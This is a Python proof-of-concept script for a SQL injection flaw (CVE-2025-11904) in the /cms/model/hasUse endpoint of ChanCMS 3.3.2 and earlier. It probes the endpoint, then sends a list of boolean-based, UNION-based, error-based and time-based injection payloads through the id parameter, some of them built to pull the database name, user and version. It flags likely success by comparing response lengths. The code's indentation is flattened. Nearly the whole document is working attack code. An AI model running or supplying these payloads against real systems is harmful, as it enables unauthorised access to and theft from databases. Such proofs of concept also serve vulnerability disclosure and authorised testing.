# CVE-2025-11904 - ChanCMS hasUse SQL Injection PoC
# Vulnerability: SQL Injection via ID parameter in /cms/model/hasUse
# Affected: ChanCMS <= 3.3.2
# CVSS: 6.3 (Medium)
import requests
TARGET_URL = "http://target.com"
INJECTION_PATH = "/cms/model/hasUse"
# Step 1: Normal request to verify endpoint availability
def check_endpoint(session, base_url):
"""Check if the vulnerable endpoint exists"""
url = f"{base_url}{INJECTION_PATH}"
try:
resp = session.get(url, timeout=10)
return resp.status_code
except requests.exceptions.RequestException as e:
print(f"[-] Connection error: {e}")
return None
# Step 2: Basic SQL injection test
def test_sqli(session, base_url, id_value):
"""Test SQL injection with crafted ID parameter"""
url = f"{base_url}{INJECTION_PATH}"
# Inject payload into ID parameter
params = {"id": id_value}
headers = {
"User-Agent": "Mozilla/5.0",
"Content-Type": "application/x-www-form-urlencoded"
}
try:
resp = session.get(url, params=params, headers=headers, timeout=10)
return resp.text
except requests.exceptions.RequestException as e:
print(f"[-] Request error: {e}")
return None
# Step 3: Exploit payloads
PAYLOADS = [
# Boolean-based blind injection
"1' AND '1'='1",
"1' AND '1'='2",
# UNION-based injection
"1' UNION SELECT 1,2,3-- -",
"1' UNION SELECT user(),database(),version()-- -",
# Error-based injection
"1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -",
# Time-based blind injection
"1' AND SLEEP(5)-- -",
"1'; WAITFOR DELAY '0:0:5'-- -",
]
def main():
session = requests.Session()
# Verify endpoint
status = check_endpoint(session, TARGET_URL)
print(f"[*] Endpoint status: {status}")
# Test with normal value
normal_resp = test_sqli(session, TARGET_URL, "1")
print(f"[*] Normal response length: {len(normal_resp) if normal_resp else 'N/A'}")
# Test injection payloads
for i, payload in enumerate(PAYLOADS, 1):
print(f"\n[*] Testing payload {i}: {payload}")
resp = test_sqli(session, TARGET_URL, payload)
if resp:
print(f"[+] Response length: {len(resp)}")
# Check for differences indicating successful injection
if normal_resp and len(resp) != len(normal_resp):
print(f"[!] Possible injection detected - response length differs")
if __name__ == "__main__":
main()